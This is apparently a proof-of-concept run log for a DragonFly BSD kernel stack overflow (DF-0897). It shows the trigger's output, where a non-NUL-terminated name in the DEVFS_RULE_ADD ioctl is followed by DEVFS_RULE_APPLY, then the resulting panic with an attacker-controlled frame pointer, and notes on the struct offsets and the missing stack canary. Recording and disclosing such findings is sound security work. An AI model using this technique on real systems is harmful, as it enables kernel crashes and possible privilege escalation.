=== DF-0897 PoC run on 6.5-DEVELOPMENT #0 (unpatched baseline) ===
Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026 x86_64
Command: cd /root/poc_897 && ./trigger

[*] sizeof(struct devfs_rule_ioctl) = 3112
[*] name starts at offset 1040, linkname at offset 2064
[*] strlen(name) will scan 2071 bytes before hitting NUL at struct end
[*] Sending DEVFS_RULE_ADD with non-NUL-terminated name...
[*] DEVFS_RULE_ADD returned 0 (errno=0: Undefined error: 0)
[*] Sending DEVFS_RULE_APPLY (triggers stack smash)...
<<< KERNEL PANIC — ssh session terminated (guest down) >>>

=== Panic signature from boot.log ===
Fatal trap 9: general protection fault while in kernel mode
cpuid = 1; lapic id = 1
instruction pointer    = 0x8:0xffffffff80924605
stack pointer          = 0x10:0xfffff8008d1f09a8
frame pointer          = 0x10:0x4141414141414141    <-- ATTACKER-CONTROLLED ('AAAAAAAA')
code segment           = base 0x0, limit 0xfffff, type 0x1b
                       = DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags       = interrupt enabled, resume, IOPL = 0
current process        = Idle
current thread         = pri 12
kernel: type 9 trap, code=0
Stopped at devfs_rule_checkname.isra.0+0x95: ret   <-- crash on function return

=== Analysis ===
- Frame pointer overwritten with 0x4141414141414141 ('AAAAAAAA')
- Crashed on 'ret' from devfs_rule_checkname — saved RBP + return address smashed
- NO stack canary tripped (DragonFly kernel has no -fstack-protector)
- ~1048 bytes of attacker-controlled stack corruption confirmed